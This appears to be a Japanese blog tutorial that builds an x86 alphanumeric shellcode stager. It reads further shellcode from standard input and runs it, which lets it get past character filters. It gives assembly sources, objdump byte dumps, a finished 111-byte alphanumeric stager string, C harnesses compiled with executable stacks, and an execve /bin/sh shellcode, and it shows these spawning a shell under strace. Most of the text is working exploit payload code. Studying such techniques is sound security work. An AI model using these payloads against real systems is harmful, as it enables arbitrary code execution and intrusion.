x86 alphanumeric shellcode stagerを書いてみる
「x86 alphanumeric shellcodeを書いてみる」では、アルファベットと数字のみを使ったシェルコードでシェル起動を行った。 任意のシェルコードを実行する場合も同様にしてalphanumericな形に変換すればよいが、別の方法としてshellcode stagerを使うこともできる。 具体的には、alphanumeric shellcodeで入力を受け付け、そこに追加で送り込んだシェルコードに処理を移すことで、任意のシェルコード実行を行う。 ここでは、alphanumericなshellcode stagerを作り、任意のシェルコード実行をやってみる。
shellcode stagerを書いてみる
まずは、readシステムコールを使い標準入力からデータを読み込むshellcode stagerを書いてみる。
/* stager.s */ .intel_syntax noprefix .globl _start _start: /* read(0, _start+17, 65536) */ xor ebx, ebx lea edx, [ebx+1] shl edx, 16 lea ecx, [esp+17] /* assume esp = _start */ lea eax, [ebx+3] int 0x80
上のコードは、実行時にespがシェルコードの先頭を指していることを前提とした上で、int 0x80
の次に標準入力から読み込んだシェルコードを置くものである。
アセンブルしてバイト列に変換すると次のようになる。
$ gcc -nostdlib stager.s $ objdump -M intel -d a.out 08048098 <_start>: 8048098: 31 db xor ebx,ebx 804809a: 8d 53 01 lea edx,[ebx+0x1] 804809d: c1 e2 10 shl edx,0x10 80480a0: 8d 4c 24 11 lea ecx,[esp+0x11] 80480a4: 8d 43 03 lea eax,[ebx+0x3] 80480a7: cd 80 int 0x80 $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80
このshellcode stagerをスタック上に置き、ジャンプするプログラムを書くと次のようになる。
/* shellcode.c */ int main() { char shellcode[] = "\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80"; __asm__("mov esp, %0\n\t" "jmp esp" : : "r" (shellcode)); }
ここでは、espにシェルコードの先頭アドレスが入るようにGNUインラインアセンブラを使っている。
GNUインラインアセンブラがintel記法で解釈されるよう-masm=intel
オプションを付け、DEP無効でコンパイルしてみる。
さらに、普通のシェルコードを標準入力から送り込み実行してみる。
$ gcc -masm=intel -z execstack shellcode.c $ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve $ (cat execve; cat) | ./a.out id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
shellcode stagerが標準入力から与えたシェルコードを読み込み、シェルが起動できていることが確認できた。
straceで動作を確認してみる
straceコマンドを使い、上でシェル起動が行われるときのシステムコール呼び出しをトレースしてみる。
$ (cat execve; cat) | strace ./a.out execve("./a.out", ["./a.out"], [/* 17 vars */]) = 0 ... read(0, "1\322Rh//shh/bin\211\343RS\211\341\215B\v\315\200", 65536) = 24 execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0 ... read(0, " [CTRL+D] ", 8192) = 0 exit_group(0) = ?
readシステムコールにより標準入力からシェルコードが読み込まれ、そのシェルコードが実行されていることが確認できる。
alphanumeric shellcodeにしてみる
「x86 alphanumeric shellcodeを書いてみる」と同様の方法で、shellcode stagerをalphanumericな形に書き換えてみる。
$ echo -en "\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80" | od -tx4z 0000000 538ddb31 10e2c101 11244c8d cd03438d >1..S.....L$..C..< 0000020 00000080 >.< 0000021
/* alnum_stager.s */ .intel_syntax noprefix .globl _start _start: /* set buffer register to ecx */ push eax pop ecx prepare_registers: push 0x30 pop eax xor al, 0x30 /* omit eax, ecx */ push eax /* edx = 0 */ push eax /* ebx = 0 */ push eax push eax push ecx /* esi = buffer */ push eax popad dec edx /* edx = 0xffffffff */ patch_ret: /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */ push edx pop eax xor al, 0x44 xor [esi+0x6e], al build_stack: /* push 0x80 */ push edx pop eax xor al, 0x30 xor al, 0x4f push eax /* push 0xcd03438d */ push edx pop eax xor eax, 0x41303030 xor eax, 0x73337342 push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x11244c8d */ push ebx pop eax xor eax, 0x41413430 xor eax, 0x50657842 push eax push esp pop ecx xor [ecx], dh /* push 0x10e2c101 */ push ebx pop eax xor eax, 0x41444430 xor eax, 0x51597a31 push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh /* push 0x538ddb31 */ push ebx pop eax xor eax, 0x30304141 xor eax, 0x63426570 push eax push esp pop ecx inc ecx xor [ecx], dh inc ecx xor [ecx], dh push esp ret: .byte 0x78
このコードは、eaxレジスタにシェルコードの先頭アドレスが入っていることを前提とする。
eaxレジスタ以外に先頭アドレスが入っている場合は、push eax
に対応する最初の1バイトを書き換える。
アセンブルしてバイト列を確認すると、すべてアルファベットと数字にできていることが確認できる。
$ gcc -nostdlib alnum_stager.s $ objdump -s a.out a.out: file format elf32-i386 Contents of section .note.gnu.build-id: 8048074 04000000 14000000 03000000 474e5500 ............GNU. 8048084 97268d23 84635593 60a48ca1 e12fbe50 .&.#.cU.`..../.P 8048094 cc5be53b .[.; Contents of section .text: 8048098 50596a30 58343050 50505051 50614a52 PYj0X40PPPPQPaJR 80480a8 58344430 466e5258 3430344f 50525835 X4D0FnRX404OPRX5 80480b8 30303041 35427333 73505459 41303141 000A5Bs3sPTYA01A 80480c8 30315358 35303441 41354278 65505054 01SX504AA5BxePPT 80480d8 59303153 58353044 44413531 7a595150 Y01SX50DDA51zYQP 80480e8 54594130 31413031 53583541 41303035 TYA01A01SX5AA005 80480f8 70654263 50545941 30314130 315478 peBcPTYA01A01Tx $ strings -n8 a.out PYj0X40PPPPQPaJRX4D0FnRX404OPRX5000A5Bs3sPTYA01A01SX504AA5BxePPTY01SX50DDA51zYQPTYA01A01SX5AA005peBcPTYA01A01Tx
このシェルコードの長さは111バイトである。
できあがったシェルコードをスタック上に置き、ジャンプするプログラムを書くと次のようになる。
/* shellcode2.c */ int main() { char shellcode[] = "PYj0X40PPPPQPaJRX4D0FnRX404OPRX5000A5Bs3sPTYA01A01SX504AA5BxePPTY01SX50DDA51zYQPTYA01A01SX5AA005peBcPTYA01A01Tx"; (*(void (*)())shellcode)(); }
DEP無効でコンパイルし、最初の例と同様に普通のシェルコードを標準入力から送り込んで実行してみる。
$ gcc -z execstack shellcode2.c $ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve $ (cat execve; cat) | ./a.out id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
alphanumericなshellcode stagerから、任意のシェルコードが実行できていることが確認できた。